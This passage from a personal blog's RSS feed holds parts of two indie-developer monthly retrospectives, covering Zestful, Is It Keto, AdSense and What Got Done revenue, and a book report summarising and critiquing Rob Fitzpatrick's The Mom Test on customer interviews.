 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 798px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/08/ground-cinnamon_hu_a3c5e06a07f367a9.jpg 300w, https://mtlynch.io/retrospectives/2019/08/ground-cinnamon_hu_fd47787a4d83617e.jpg 600w, https://mtlynch.io/retrospectives/2019/08/ground-cinnamon.jpg 796w'
 src="https://mtlynch.io/retrospectives/2019/08/ground-cinnamon.jpg" alt="Screenshot of parsing ground cinnamon on Zestful" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Boy, did it take way too long to make this work&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Fixing these things is satisfying in the moment because it&amp;rsquo;s fun to make my parser more accurate. But it&amp;rsquo;s too easy to disappear down the rabbit hole, chasing lots of minor error cases, only to wake up days later realizing that overall accuracy has barely changed. The parser will never be 100% accurate, and I could spend an eternity pursuing ever-decreasing gains in accuracy.&lt;/p>
&lt;p>My goal going forward is to resist the urge to fix issues on Zestful unless a paying customer asks for it.&lt;/p>
&lt;h2 id="integrating-adsense-into-is-it-keto">Integrating AdSense into Is It Keto&lt;/h2>
&lt;p>In June, I experimented with an advertising partner on my nutrition site, &lt;a href="https://isitketo.org">Is It Keto&lt;/a>. I ended up hating the result and decided to shut it off after 11 days. The ads were &lt;a href="https://mtlynch.io/retrospectives/2019/07/#a-brief-experiment-with-display-ads-on-is-it-keto">ugly and screwed up my page for mobile users&lt;/a>.&lt;/p>
&lt;p>Still, it got me thinking about the appeal of banner ads as a monetization strategy. Prior to that experiment, Is It Keto only made money when people clicked on the site&amp;rsquo;s Amazon product links. This was good for pages like &lt;a href="https://isitketo.org/metamucil">Metamucil&lt;/a> because a visitor might reasonably decide to buy &lt;a href="https://smile.amazon.com/Metamucil-Multi-Health-Psyllium-Supplement-Capsules/dp/B001TH7K0G/">Metamucil fiber capsules&lt;/a> after visiting the website. It&amp;rsquo;s not a good strategy for pages like &lt;a href="https://isitketo.org/lettuce">Lettuce&lt;/a> because nobody orders lettuce from Amazon (except for &lt;a href="https://mtlynch.io/keep-growing-never-profit/#i-didnt-think-through-my-monetization-strategy">some unfortunate people who do&lt;/a>).&lt;/p>
&lt;p>Relying on Amazon Affiliate links meant that most Is It Keto pages earned nothing unless they convinced the visitor to click through to another article about a more lucrative product. With banner ads, every popular page earned money for the site regardless of whether it encouraged the user to buy anything on Amazon.&lt;/p>
&lt;p>So, I signed up for Google AdSense and have had a positive experience so far. The key differences are:&lt;/p>
&lt;ul>
&lt;li>I control ad placement.
&lt;ul>
&lt;li>The previous ad partner automatically crammed ads into any open space they could find.&lt;/li>
&lt;li>By choosing placement manually, I prevent the ads from ruining the look and feel of the site.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I control which ads appear.
&lt;ul>
&lt;li>The review dashboard helps me ensure that users never see ads that are spammy or masquerade as features of my site.&lt;/li>
&lt;li>e.g., ads that &lt;a href="https://mtlynch.io/retrospectives/2019/07/isitketo-ads.png">insert a fake &amp;ldquo;Print&amp;rdquo; button&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/08/adsense-ads.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/08/adsense-ads_hu_3807da2e382c48f3.jpg 300w, https://mtlynch.io/retrospectives/2019/08/adsense-ads_hu_2cac1f825b03eec5.jpg 600w, https://mtlynch.io/retrospectives/2019/08/adsense-ads_hu_68acd368771f21fa.jpg 800w, https://mtlynch.io/retrospectives/2019/08/adsense-ads_hu_517b4abe4e32f8a2.jpg 1200w, https://mtlynch.io/retrospectives/2019/08/adsense-ads.jpg 1337w'
 src="https://mtlynch.io/retrospectives/2019/08/adsense-ads.jpg" alt="Screenshot of Is It Keto after adding AdSense ads" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto with ads from Google AdSense and Amazon Affiliate Program&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>So far, I&amp;rsquo;m earning $2.29 per 1,000 pageviews. My previous ad network measured in terms of unique visitors, so in those terms, I&amp;rsquo;m earning about ~$5 per 1,000 sessions. It&amp;rsquo;s slightly less than the ~$8 I made from the previous ad partner, but I&amp;rsquo;m happy with the current tradeoff of ad intrusiveness vs. revenue generation.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Conducted nine customer interviews&lt;/li>
&lt;li>Implemented a &amp;ldquo;reactions&amp;rdquo; feature for What Got Done&lt;/li>
&lt;li>Added USDA matching to Zestful&lt;/li>
&lt;li>Added support for &amp;ldquo;either/or&amp;rdquo; ingredients in Zestful&lt;/li>
&lt;li>Added Google AdSense to Is It Keto&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>I don&amp;rsquo;t mind banner ads so much when I control how they appear on my site.&lt;/li>
&lt;li>I can get a good reply rate by sending personalized, cold emails to founders who are ex-Google:
&lt;ul>
&lt;li>I emailed 15 founders&lt;/li>
&lt;li>I received 7 responses (47% response rate)&lt;/li>
&lt;li>I arranged 3 meetings (20% conversion rate)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I need to stop tinkering with Zestful unless I can tie the need directly to a paying customer&amp;rsquo;s request.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a new blog post on &lt;a href="https://mtlynch.io/">mtlynch.io&lt;/a>.&lt;/li>
&lt;li>Publish an MVP for my &lt;a href="https://mtlynch.io/retrospectives/2019/07/#slowing-down-on-the-email-tool-for-copywriters">email copywriter tool idea&lt;/a>.&lt;/li>
&lt;li>Prep What Got Done for the backburner.
&lt;ul>
&lt;li>Fix a few small outstanding bugs.&lt;/li>
&lt;li>Document everything that I&amp;rsquo;ll undoubtedly forget if I return to it in six months.&lt;/li>
&lt;li>&lt;em>Maybe&lt;/em> open-source it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>The Mom Test by Rob Fitzpatrick</title><link>https://mtlynch.io/book-reports/the-mom-test/</link><pubDate>Thu, 01 Aug 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/the-mom-test/</guid><description>&lt;p>A quick, practical guide to interviewing customers during the early stages of a new product idea.&lt;/p>
&lt;p>I expected basic advice about how you shouldn&amp;rsquo;t ask customers leading questions, but Fitzpatrick goes much more in-depth. The book made me recognize weaknesses in my approach to interviewing users and provided interesting perspectives about obtaining unbiased, actionable feedback from customers.&lt;/p></description><content:encoded>&lt;p>A quick, practical guide to interviewing customers during the early stages of a new product idea.&lt;/p>
&lt;p>I expected basic advice about how you shouldn&amp;rsquo;t ask customers leading questions, but Fitzpatrick goes much more in-depth. The book made me recognize weaknesses in my approach to interviewing users and provided interesting perspectives about obtaining unbiased, actionable feedback from customers.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>Provides a practical, well-reasoned methodology for interviewing customers
&lt;ul>
&lt;li>Lots of examples of good questions, bad questions, and the rationale behind them&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Beyond what to say to customers, the book recommends a process for arranging those conversations and maximizing what you learn from them&lt;/li>
&lt;li>A quick read — at only 118 pages, you can finish it in two or three sittings&lt;/li>
&lt;li>I appreciated the guidance about requesting interviews from customers in a way that&amp;rsquo;s sincere and offers value to the interviewee&lt;/li>
&lt;li>The focus is on casual conversations, and the book has the tone of a friend giving you advice&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>At a time when inclusiveness in tech is front-of-mind, this book feels tone-deaf when it comes to gender.
&lt;ul>
&lt;li>The book&amp;rsquo;s title relies on stereotypes about mothers being too kind to give their children honest, critical feedback.&lt;/li>
&lt;li>There are 60+ people mentioned in this book between real-life business leaders (e.g., Elon Musk, Steve Blank), hypothetical customers, fictional entrepreneurs, and associates from the author&amp;rsquo;s personal history. Of these, only four are women:
&lt;ol>
&lt;li>The titular fictional mom, who is featured heavily in example conversations in the first chapter&lt;/li>
&lt;li>A woman the author met at a party (she speaks half a sentence)&lt;/li>
&lt;li>A non-speaking entrepreneur character who sells nutritional supplements&lt;/li>
&lt;li>A non-speaking waitress who appears only so that the author can order her to summon her (male) manager&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>In every example conversation, the author refers to the speakers as either &amp;ldquo;he&amp;rdquo; or &amp;ldquo;they,&amp;rdquo; never &amp;ldquo;she.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There feels like a gap between the author&amp;rsquo;s ban on pitching your product and the author&amp;rsquo;s recommendation that you end meetings by demanding a commitment.
&lt;ul>
&lt;li>How can customers commit if you never pitched your idea?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Some of the techniques feel awkward to put into practice when working with real customers.
&lt;ul>
&lt;li>To be fair, sales sometimes feels uncomfortable and unnatural to me, so maybe I&amp;rsquo;m reacting to that.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Feels a bit Silicon Valley-centric in that it assumes it&amp;rsquo;s easy to meet your customers in person or serendipitously encounter them during your daily routine&lt;/li>
&lt;li>Recommends arranging customer interviews under false pretenses, such as pretending that you&amp;rsquo;re writing a book or Ph.D. thesis&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="the-mom-test-elicits-honest-feedback">The Mom Test elicits honest feedback&lt;/h3>
&lt;!-- markdownlint-disable blanks-around-lists -->
&lt;ul>
&lt;li>&lt;strong>&lt;em>Problem&lt;/em>&lt;/strong>: When asked to evaluate a founder&amp;rsquo;s business idea, people lie to spare the founder&amp;rsquo;s feelings.&lt;/li>
&lt;li>&lt;strong>The Mom Test&lt;/strong>
&lt;ul>
&lt;li>Rules for asking constructive questions during customer interviews so that potential customers give you useful information instead of trying to please you.&lt;/li>
&lt;li>Named &amp;ldquo;The Mom Test&amp;rdquo; because these questions elicit useful information even from an overprotective mother who wants to shield her child from hurt feelings.&lt;/li>
&lt;li>Rules for passing The Mom Test:
&lt;blockquote>
&lt;ol>
&lt;li>Talk about their life instead of your idea.&lt;/li>
&lt;li>Ask about specifics in the past instead of generics or opinions about the future.&lt;/li>
&lt;li>Talk less and listen more.&lt;/li>
&lt;/ol>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;!-- markdownlint-enable blanks-around-lists -->
&lt;h3 id="focus-on-past-experience-not-hypotheticals">Focus on past experience, not hypotheticals&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Don&amp;rsquo;t&lt;/strong> ask the customer whether they&amp;rsquo;d hypothetically use your product.&lt;/li>
&lt;li>&lt;strong>Do&lt;/strong> ask how they currently address the problem your product solves.&lt;/li>
&lt;li>&lt;strong>Do&lt;/strong> ask what alternative solutions they&amp;rsquo;ve investigated.
&lt;blockquote>
&lt;p>If they haven&amp;rsquo;t looked for ways of solving it already, they&amp;rsquo;re not going to look for (or buy) yours.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;li>People are often overly optimistic about paying for a product when it&amp;rsquo;s hypothetical.
&lt;ul>
&lt;li>In practice, they&amp;rsquo;re less likely to follow through.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Don&amp;rsquo;t&lt;/strong> ask the customer how much they&amp;rsquo;d pay for a product that solves problem X.
&lt;ul>
&lt;li>&lt;strong>Do&lt;/strong> ask how much problem X currently costs them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Other good questions:
&lt;ul>
&lt;li>Who else should I talk to?&lt;/li>
&lt;li>Is there anything else I should have asked?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="compliments-from-the-customer-are-a-bad-sign">Compliments from the customer are a bad sign&lt;/h3>
&lt;ul>
&lt;li>Compliments cost nothing, so it&amp;rsquo;s a cheap way for the customer to make the founder feel good without making any real commitment.&lt;/li>
&lt;li>Even sincere compliments are undesirable because the focus should be on the customer&amp;rsquo;s workflow and not your product idea.
&lt;blockquote>
&lt;p>Compliments are the fool&amp;rsquo;s gold of customer learning: shiny, distracting, and worthless.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;h3 id="avoid-fluff">Avoid fluff&lt;/h3>
&lt;blockquote>
&lt;p>Fluff comes in 3 cuddly shapes:&lt;/p>
&lt;ul>
&lt;li>Generic claims (&amp;ldquo;I usually&amp;rdquo;, &amp;ldquo;I always&amp;rdquo;, &amp;ldquo;I never&amp;rdquo;)&lt;/li>
&lt;li>Future-tense promises (&amp;ldquo;I would&amp;rdquo;, &amp;ldquo;I will&amp;rdquo;)&lt;/li>
&lt;li>Hypothetical maybes (&amp;ldquo;I might&amp;rdquo;, &amp;ldquo;I could&amp;rdquo;)&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;ul>
&lt;li>When customers drift into fluff, anchor the conversation to concrete details, such as a specific time they solved the problem in question.&lt;/li>
&lt;/ul>
&lt;h3 id="dig-deeper-into-feature-requests">Dig deeper into feature requests&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Don&amp;rsquo;t&lt;/strong> accept customer ideas and feature requests at face value.&lt;/li>
&lt;li>&lt;strong>Do&lt;/strong> probe to understand the motivation behind their suggestion.&lt;/li>
&lt;li>Example
&lt;ul>
&lt;li>Author built a product for a large enterprise customer.&lt;/li>
&lt;li>The customer asked for analytics, so the author built a flexible analytics dashboard.&lt;/li>
&lt;li>Then, customer asked for a CSV export, then PDFs of the dashboard.&lt;/li>
&lt;li>It turned out that the customer just wanted pretty charts to show their own clients each week and they didn&amp;rsquo;t need the customizable dashboard at all.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="avoid-pitching-your-product-during-customer-interviews">Avoid pitching your product during customer interviews&lt;/h3>
&lt;blockquote>
&lt;p>Once you start talking about your idea, they stop talking about their problems.&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Focus on asking questions that give you the most information about how to proceed.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>If you get an unexpected answer to a question and it doesn&amp;rsquo;t affect what you&amp;rsquo;re doing, it probably wasn&amp;rsquo;t a terribly important question to begin with.&lt;/p>&lt;/blockquote>
&lt;h3 id="negative-feedback-is-valuable">Negative feedback is valuable&lt;/h3>
&lt;ul>
&lt;li>Negative feedback protects you from investing too deeply in a product that customers are not excited about.&lt;/li>
&lt;/ul>
&lt;h3 id="dont-make-assumptions-about-what-customers-value">Don&amp;rsquo;t make assumptions about what customers value&lt;/h3>
&lt;ul>
&lt;li>Example: Customer says they never go to the gym
&lt;ul>
&lt;li>If you begin asking them what hinders their ability to work out, the customer will contrive reasons, but the deeper issue might just be that the customer doesn&amp;rsquo;t care about going to the gym.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Before diving into the details of a problem, first establish whether the customer cares about solving it.&lt;/li>
&lt;/ul>
&lt;h3 id="product-risk-vs-customer-risk">&amp;ldquo;Product risk&amp;rdquo; vs. &amp;ldquo;customer risk&amp;rdquo;&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Product risk&lt;/strong>: your business may fail due to an inability to deliver the product you promised
&lt;ul>
&lt;li>e.g., you want to sell a solar-powered electric car but find you&amp;rsquo;re unable to build one&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Customer risk&lt;/strong>: even if you successfully build your product, customers may not be interested in buying&lt;/li>
&lt;li>The more product risk your idea has, the less you&amp;rsquo;ll be able to validate it entirely through customer conversations.&lt;/li>
&lt;/ul>
&lt;h3 id="desired-outcome-commitment-and-advancement">Desired outcome: commitment and advancement&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>Outcome of customer meetings should be &lt;strong>commitment&lt;/strong> and &lt;strong>advancement&lt;/strong>&lt;/p>
&lt;blockquote>
&lt;p>Commitment — they are showing they&amp;rsquo;re serious by giving up something they value such as time, reputation, or money.&lt;/p>
&lt;p>Advancement — They are moving to the next step of your real-world funnel and getting closer [to] purchasing.&lt;/p>&lt;/blockquote>
&lt;blockquote>
&lt;p>The more they&amp;rsquo;re giving up, the more seriously you can take what they&amp;rsquo;re saying.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;li>
&lt;p>Types of commitment&lt;/p>
&lt;ul>
&lt;li>Time
&lt;ul>
&lt;li>Clear next meeting with known goals&lt;/li>
&lt;li>Sitting down to give feedback on wireframes&lt;/li>
&lt;li>Using a trial of the product for a non-trivial period&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Reputation
&lt;ul>
&lt;li>Intro to peers or team&lt;/li>
&lt;li>Intro to a decision-maker (boss, spouse, lawyer)&lt;/li>
&lt;li>Giving a public testimonial or case study&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Financial
&lt;ul>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Letter_of_intent">Letter of intent&lt;/a>&lt;/li>
&lt;li>Pre-order&lt;/li>
&lt;li>Deposit&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>If you asked for a commitment and were rejected, it&amp;rsquo;s still good information.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>The only way to fail is by not asking for any commitment from the customer.&lt;/p>
&lt;blockquote>
&lt;p>If you don&amp;rsquo;t know what happens next after a product or sales meeting, the meeting was pointless.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;h3 id="framing-a-meeting-to-the-customer">Framing a meeting to the customer&lt;/h3>
&lt;ul>
&lt;li>Bad examples
&lt;ul>
&lt;li>&amp;ldquo;Can I interview you?&amp;rdquo; -&amp;gt; Sounds boring&lt;/li>
&lt;li>&amp;ldquo;Can I get your opinion on what we&amp;rsquo;re doing?&amp;rdquo; -&amp;gt; Sounds needy&lt;/li>
&lt;li>&amp;ldquo;Do you have time for a quick chat?&amp;rdquo; -&amp;gt; Provides no information, sounds like you&amp;rsquo;ll waste their time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Proper framing has five components
&lt;ol>
&lt;li>&lt;strong>Vision&lt;/strong>: You&amp;rsquo;re an entrepreneur trying to solve a problem (don&amp;rsquo;t mention your idea).&lt;/li>
&lt;li>&lt;strong>Framing&lt;/strong>: Disclose where you are in the process of building your product.&lt;/li>
&lt;li>&lt;strong>Weakness&lt;/strong>: Show how they can help with a specific question.&lt;/li>
&lt;li>&lt;strong>Pedestal&lt;/strong>: Flatter them by explaining how they&amp;rsquo;re uniquely qualified to help.&lt;/li>
&lt;li>&lt;strong>Ask&lt;/strong>: Explicitly ask for help.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;h3 id="prefer-in-person-meetings-to-skype-or-phone-meetings">Prefer in-person meetings to Skype or phone meetings&lt;/h3>
&lt;ul>
&lt;li>Phone calls hide too many subtle social cues.&lt;/li>
&lt;li>In-person meetings over coffee tend to be less time-constrained than a 30-minute calendar slot for a phone call.&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>&amp;hellip;nobody becomes friends over the phone.&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>Adopt the mindset of seeking advisors
&lt;ul>
&lt;li>If you go into the meeting thinking of it as an &lt;em>almost&lt;/em> sales meeting, you&amp;rsquo;ll learn less.&lt;/li>
&lt;li>Instead, privately maintain the mindset that you&amp;rsquo;re looking for an advisor with industry-specific expertise, not a customer.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How many meetings to conduct?
&lt;ul>
&lt;li>Keep meeting with customers until you stop learning new things.&lt;/li>
&lt;li>Sometimes three to five meetings are enough.&lt;/li>
&lt;li>If 10 customers all say totally different things, you probably have to focus on a more narrow customer segment.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Don&amp;rsquo;t&lt;/strong> create &amp;ldquo;customer feedback bottlenecks.&amp;rdquo;
&lt;ul>
&lt;li>Common anti-pattern: the founding team&amp;rsquo;s &amp;ldquo;businessperson&amp;rdquo; does 100% of the customer interviews and reports the takeaways to the team.
&lt;ul>
&lt;li>This creates an imbalance of power because the businessperson can win any product argument by saying, &amp;ldquo;it&amp;rsquo;s what the customer wants.&amp;rdquo;&lt;/li>
&lt;li>Customer conversations are subject to interpretation, so it&amp;rsquo;s undesirable to have a single person interpreting everything for the team.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="prepping-for-a-customer-interview">Prepping for a customer interview&lt;/h3>
&lt;ul>
&lt;li>Decide with your founding team what your top three questions are.&lt;/li>
&lt;li>Decide what commitments you want from the customer.&lt;/li>
&lt;li>Eliminate any questions that you can answer yourself with desk research.&lt;/li>
&lt;li>Read through interviewee&amp;rsquo;s profile on LinkedIn&lt;/li>
&lt;/ul>
&lt;h3 id="who-should-participate-in-customer-interviews">Who should participate in customer interviews?&lt;/h3>
&lt;ul>
&lt;li>Everyone involved in big decisions should attend at least some customer interviews
&lt;ul>
&lt;li>Ideal is to have two people from your company at each meeting. One acts as a lead, while the other acts as a notetaker.
&lt;ul>
&lt;li>The lead focuses on asking questions.&lt;/li>
&lt;li>The notetaker records important details and acts as a backup if the lead misses important questions.&lt;/li>
&lt;li>Three or more interviewers is overwhelming.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Write notes in a paper notebook or on notecards.
&lt;ul>
&lt;li>Typing during a meeting can come across as rude.&lt;/li>
&lt;li>Capture exact quotes when possible.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="kicking-off-the-meeting">Kicking off the meeting&lt;/h3>
&lt;ul>
&lt;li>Take control of the meeting from the beginning.
&lt;ul>
&lt;li>Otherwise, the customer may begin asking about your idea instead of focusing on their problem.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Reiterate what you said in your pre-meeting email, then move into the first question.&lt;/li>
&lt;/ul>
&lt;h3 id="post-interview-review">Post-interview review&lt;/h3>
&lt;ul>
&lt;li>Transfer the meeting notes to a place where everyone on the founding team can read them (e.g., Google Docs, internal wiki).&lt;/li>
&lt;li>Talk through the key quotes and takeaways with your team.&lt;/li>
&lt;li>Review conversations at the meta-level.
&lt;ul>
&lt;li>Which questions worked?&lt;/li>
&lt;li>How can we improve interviews in the future?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>What Got Done - Month 2</title><link>https://mtlynch.io/retrospectives/2019/07/</link><pubDate>Wed, 03 Jul 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/07/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://whatgotdone.com">What Got Done&lt;/a> received 32 new user sign-ups (growth of about 5x since May)&lt;/li>
&lt;li>&lt;a href="https://zestfuldata.com">Zestful&lt;/a> may be rising from the dead, with four new inbound customer inquiries.&lt;/li>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> earned $184, and &lt;a href="https://zestfuldata.com">Zestful&lt;/a> earned $26, making it my highest revenue month since quitting my job.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;h3 id="publish-a-new-blog-post-that-explains-why-i-built-what-got-done">Publish a new blog post that explains why I built What Got Done&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &lt;a href="https://mtlynch.io/status-updates-to-nobody/">&amp;ldquo;Staying Motivated by Sending Status Updates to Nobody&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Last month, it felt like I was scrambling to get a new blog post out the door by the end of the month. I questioned whether I was sacrificing quality for the sake of hitting a self-imposed deadline. This time, I didn&amp;rsquo;t feel rushed and was happy with the quality of the writing.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://whatgotdone.com">What Got Done&lt;/a> received 32 new user sign-ups (growth of about 5x since May)&lt;/li>
&lt;li>&lt;a href="https://zestfuldata.com">Zestful&lt;/a> may be rising from the dead, with four new inbound customer inquiries.&lt;/li>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> earned $184, and &lt;a href="https://zestfuldata.com">Zestful&lt;/a> earned $26, making it my highest revenue month since quitting my job.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;h3 id="publish-a-new-blog-post-that-explains-why-i-built-what-got-done">Publish a new blog post that explains why I built What Got Done&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &lt;a href="https://mtlynch.io/status-updates-to-nobody/">&amp;ldquo;Staying Motivated by Sending Status Updates to Nobody&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Last month, it felt like I was scrambling to get a new blog post out the door by the end of the month. I questioned whether I was sacrificing quality for the sake of hitting a self-imposed deadline. This time, I didn&amp;rsquo;t feel rushed and was happy with the quality of the writing.&lt;/p>
&lt;p>The post didn&amp;rsquo;t attract a large number of readers, but it did seem to jumpstart sign-ups to What Got Done (more on that &lt;a href="#a-jumpstart-for-what-got-done">below&lt;/a>).&lt;/p>
&lt;h3 id="interview-six-email-copywriters-about-their-workflow-and-pain-points">Interview six email copywriters about their workflow and pain points&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Interviewed 0 copywriters because I was distracted by Zestful&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I got some unexpected customer interest in Zestful, so I put the email copy project on hold and tried to pursue Zestful business.&lt;/p>
&lt;h3 id="create-a-landing-page-to-begin-collecting-customer-emails-for-my-next-product">Create a landing page to begin collecting customer emails for my next product&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Cut this, as I was distracted by Zestful&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>Same as above.&lt;/p>
&lt;h2 id="inactive-projects">Inactive projects&lt;/h2>
&lt;h3 id="is-it-keto">Is It Keto&lt;/h3>
&lt;p>Now that Is It Keto is on the back burner, I&amp;rsquo;m not going to dive as deeply into its metrics, but here&amp;rsquo;s a summary of the most interesting ones:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>May 2019&lt;/th>
 &lt;th>June 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>10,984&lt;/td>
 &lt;td>14,419&lt;/td>
 &lt;td>&lt;font color="green">+3,435 (+31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>28,751&lt;/td>
 &lt;td>39,405&lt;/td>
 &lt;td>&lt;font color="green">+10,654 (+37%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>949&lt;/td>
 &lt;td>862&lt;/td>
 &lt;td>&lt;font color="red">-87 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$107.25&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$138.76&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$31.51 (+29%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>After my &lt;a href="https://mtlynch.io/keep-growing-never-profit/">blog post about Is It Keto&lt;/a> last month, I received some good suggestions for small tweaks to the site and spent a few days implementing those. Notably, I added a &lt;a href="https://isitketo.org/categories/">browse by category&lt;/a> feature and made my food cards &lt;a href="https://imgur.com/w11ZWEK">a little prettier&lt;/a>.&lt;/p>
&lt;h2 id="bouncing-around-too-much">Bouncing around too much&lt;/h2>
&lt;p>My biggest problem this month has been a lack of focus. I don&amp;rsquo;t mean, &amp;ldquo;I wish I could concentrate better.&amp;rdquo; I mean when I sit down to rationally figure out where to focus, I can&amp;rsquo;t decide.&lt;/p>
&lt;p>Several of my active projects are going &amp;ldquo;okay,&amp;rdquo; but none of them is strong enough to merits focusing on it to the exclusion of all others. But each one feels urgent in a way, so I&amp;rsquo;m worried about shelving any of them. The result is that I&amp;rsquo;m jumping around a lot and not making great progress on anything.&lt;/p>
&lt;h3 id="suddenly-everyone-wants-to-parse-ingredients">Suddenly, everyone wants to parse ingredients&lt;/h3>
&lt;p>I&amp;rsquo;ll start with &lt;a href="https://zestfuldata.com">Zestful&lt;/a>. It&amp;rsquo;s the ingredient parsing service I created last year that &lt;a href="https://mtlynch.io/shipping-too-late/">failed to attract any customers&lt;/a>.&lt;/p>
